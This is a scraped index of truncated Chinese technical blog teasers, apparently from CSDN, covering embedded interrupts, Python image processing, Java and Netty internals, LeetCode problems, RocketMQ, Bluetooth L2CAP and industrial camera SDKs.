1、中断/异常的响应序列 当CM3开始响应一个中断时&#xff0c;会在它小小的体内奔涌起三股暗流&#xff1a; ​ 入栈&#xff1a;把8个寄存器的值压入栈 ​ 取向量&#xff1a;从向量表中找出对应的服务程序入口地址 ​ 选择堆栈指针MSP/PSP&#xff0c;更新堆栈指针SP&#xf…

数据恢复技巧:如何恢复已删除的手机短信

短信包含大量重要信息&#xff0c;例如个人联系人、密码和重要业务数据。丢失有价值的数据可能会令人失望&#xff0c;但很高兴知道可以使用多种方法恢复短信。 在本文中&#xff0c;我们将探讨您可以采取哪些步骤来恢复 Android 或 iOS 设备上丢失或删除的短信。 第 1 部分…

chatgpt赋能python:Python指定区域截图:优化截图流程的最佳方式

Python指定区域截图&#xff1a;优化截图流程的最佳方式 在网络时代&#xff0c;图片作为一种重要的信息传播方式&#xff0c;扮演着举足轻重的角色。截图作为最常见的图片处理方式之一&#xff0c;也时常被我们用于记录屏幕内容、报告问题及展示操作流程。 若想提高截图的效…

操作系统-I/O管理-磁盘和固态硬盘

目录 一、磁盘结构 二、磁盘调度算法 ​编辑 2.1先来先服务(FCFS) 2.2最短寻找时间优先(SSTF) 2.3扫描算法(SCAN) 2.4LOOK调度算法 2.5循环扫描算法(C-SCAN) 2.6 C-LOOK调度算法 三、减少延迟时间方法 交替编号 ​磁盘地址结构的设计 错位命名 四、磁盘的管理 4.1磁盘…

JDK自带的构建线程池的方式之newFixedThreadPool

在Java中基于Executors提供了很多种线程池供开发者使用&#xff0c;在Java的并发包下&#xff0c;由并发编程大佬到隔离创建。 newFixedThreadPool 这个线程池的特点是线程数是固定的&#xff0c;下面这个是在Executors类中提供的一种静态方法。在使用的时候需要向方法提供一个…

Excel VBA 语法基础

VBA&#xff08;Visual Basic for Applications&#xff09;是一种用于宏编程和自动化任务的编程语言&#xff0c;广泛应用于 Microsoft Office 套件中的各种应用程序&#xff0c;如 Excel、Word 和 PowerPoint。掌握 VBA 基础语法可以帮助您通过编写自定义的宏来增强和自动化这…

python:使用Scikit-image对遥感影像进行角点检测特征提取(corner)

作者:CSDN @ _养乐多_ 本文将介绍使用Scikit-image对遥感影像进行角点检测特征(corner)提取的一些方法及其代码。方法包括 Harris角点检测(corner_harris),Shi-Tomasi角点检测(corner_shi_tomasi),Foerstner角点检测(corner_foerstner),FAST角点检测(corner_fast…

VUE 2X 计算监视属性 ⑥

目录 文章有误请指正&#xff0c;如果觉得对你有用&#xff0c;请点三连一波&#xff0c;蟹蟹支持✨ V u e j s Vuejs Vuejs计算属性 C o m p u t e d Computed Computed监视属性 W a t c h Watch Watch总结 文章有误请指正&#xff0c;如果觉得对你有用&#xff0c;…

Apache Superset产品调研

Apache Superset产品调研 调研报告&#xff1a;Apache Superset 一、概述 Apache Superset是一个开源的数据可视化和数据探索平台&#xff0c;它提供了一个用户友好的界面&#xff0c;可以轻松地创建和分享仪表板。它支持多种数据源&#xff0c;包括SQLAlchemy兼容的数据库、…

io.netty学习(九)Netty 如何实现零拷贝

目录 前言 Java 实现零拷贝 1、Java提供 mmap/write 方式 2、Java 提供 sendfile 方式 Netty 实现零拷贝 1、CompositeByteBuf 方式 2、wrap 方式 3、slice 方式 4、 FileRegion 方式 总结 前言 本篇文章我们就来讲讲 Netty 的零拷贝&#xff0c;在这之前&#xff0…

数据结构练习题1:基本概念

练习题1&#xff1a;基本概念 1 抽象数据类型概念分析2. 逻辑结构与存储结构概念分析3.综合选择题4.综合判断题5.时间复杂度相关习题 1 抽象数据类型概念分析 1.可以用&#xff08;抽象数据类型&#xff09;定义一个完整的数据结构。 分析&#xff1a; 1&#xff09;抽象数据…

【Leetcode -617.合并二叉树 -1022.从根到叶的二进制数之和】

Leetcode Leetcode -617.合并二叉树Leetcode -1022.从根到叶的二进制数之和 Leetcode -617.合并二叉树 题目&#xff1a;给你两棵二叉树&#xff1a; root1 和 root2 。 想象一下&#xff0c;当你将其中一棵覆盖到另一棵之上时&#xff0c;两棵树上的一些节点将会重叠&#x…

ESP32-IDF VS Code进行开发

ESP32-C3 入门篇&#xff08;二&#xff09;使用VS Code进行开发 文章目录 前言 总结STM32的成功&#xff0c;除了Cortex M3的性能强之外&#xff0c;也离不开ST推出的标准库及简单易用的MDK IDE。完善的开发配套&#xff0c;极大的降低了开发门槛&#xff0c;让开发者更专注…

python:使用Scikit-image对遥感影像做空间滤波(中值,高斯,Sobel,Laplace,Scharr等)

作者:CSDN @ _养乐多_ 本文将介绍使用Scikit-image中的滤波函数对遥感影像做空间滤波的代码。滤波方法包括:中值滤波器,高斯滤波器,Sobel滤波器,Laplace滤波器,Scharr滤波器等。并将原始影像和结果影像绘制成图。 结果如下图所示, 文章目录 一、空间滤波函数详解二、…

RocketMQ发送消息

一.消费模式 MQ的消费模式可以大致分为两种&#xff0c;一种是 推Push&#xff0c;一种是 拉Pull。 Push 是 服务端 (MQ) 主动推送消息给客户端&#xff0c;优点是及时性较好&#xff0c;但如果客户端没有做好流控&#xff0c;一旦服务端推送大量消息到客户端时&#xff0c;…

分布式光伏电站智能管理系统

随着能源需求的增加&#xff0c;各种各样的光伏电站工程建设出现不同形式的技术缺陷。设计了分布式光伏电站区域智能系统&#xff0c;实现 了各个园区用电数据的集中管理。对光伏电站分布式运营管理进行了研究&#xff0c;采用集中运营管理中心的方法&#xff0c;建立了区域分布…

蓝牙L2CAP协议简介及报文格式

概述 逻辑链路控制和适配协议&#xff08;Logical Link Control and Adaptation Protocol&#xff0c;L2CAP&#xff09;是蓝牙的核心协议&#xff0c;负责适配基带中的上层协议。它同链路管理器并行工作&#xff0c;向上层协议提供定向连接的和无连接的数据业务。L2CAP具有分…

Baumer工业相机堡盟工业相机如何通过BGAPISDK将相机图像写入相机内存(C++)

Baumer工业相机堡盟工业相机如何通过BGAPISDK将相机图像写入相机内存&#xff08;C&#xff09; Baumer工业相机Baumer工业相机BGAPISDK和相机内存的技术背景Baumer工业相机通过BGAPISDK将相机图像写入相机内存功能1.引用合适的类文件2.通过BGAPISDK将相机图像写入相机内存功能…